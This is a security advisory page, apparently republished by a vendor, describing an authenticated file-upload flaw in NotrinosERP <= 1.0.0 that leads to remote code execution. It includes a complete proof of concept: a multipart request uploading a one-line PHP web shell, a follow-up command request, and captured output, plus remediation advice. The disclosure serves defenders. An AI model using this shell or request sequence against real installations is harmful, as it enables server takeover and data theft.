GHSA-QV4M-M73M-8HJ7

GHSA-QV4M-M73M-8HJ7 is a high-severity path traversal vulnerability in notrinos/notrinos-erp (composer), affecting versions <= 1.0.0. No fixed version is listed yet.

Check whether GHSA-QV4M-M73M-8HJ7 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

Full technical description

An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename, extension intact, into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.

Details

The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:

// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }

There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:

  • company_path() resolves under the web root; config.default.php sets
    $comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
  • The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log
    only, it does not block .php and does not cover company/.
  • The stored path is then echoed unescaped into a clickable "View" link
    (hrm/includes/ui/employee_ui.inc lines 153-154, file_path concatenated straight into href),
    handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].

Proof of Concept

The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the
hidden _token, then submit. Against your own local instance:

POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"

<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1

The command in c executes on the server.

Validation (performed locally, no network)

The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>

Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file, the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.

Resources / credit

  • Affected code: hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc, hrm/includes/ui/employee_ui.inc.
  • Reported by: <Kasper Hong / Kasper Builds>.

Impact

Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

GHSA-QV4M-M73M-8HJ7 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

notrinos/notrinos-erp (<= 1.0.0)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  • Never use the client filename on disk. Store with a server-generated name and no executable
    extension
    (mirror includes/ui/attachment.inc's uniqid() approach); keep the original name
    only as a DB label.
  • Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the pic
    branch already does.
  • Store uploads outside the web root, or drop an .htaccess/web.config in
    company/*/documents/ that disables script execution (php_admin_flag engine off,
    RemoveHandler .php, SetHandler none).
  • htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).

Frequently Asked Questions

  1. What is GHSA-QV4M-M73M-8HJ7? GHSA-QV4M-M73M-8HJ7 is a high-severity path traversal vulnerability in notrinos/notrinos-erp (composer), affecting versions <= 1.0.0. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is GHSA-QV4M-M73M-8HJ7? GHSA-QV4M-M73M-8HJ7 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of notrinos/notrinos-erp are affected by GHSA-QV4M-M73M-8HJ7? notrinos/notrinos-erp (composer) versions <= 1.0.0 is affected.
  4. Is there a fix for GHSA-QV4M-M73M-8HJ7? No fixed version is listed for GHSA-QV4M-M73M-8HJ7 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is GHSA-QV4M-M73M-8HJ7 exploitable, and should I be worried? Whether GHSA-QV4M-M73M-8HJ7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-QV4M-M73M-8HJ7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-QV4M-M73M-8HJ7? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.

Other vulnerabilities in notrinos/notrinos-erp

Stop the waste.
Protect your environment with Kodem.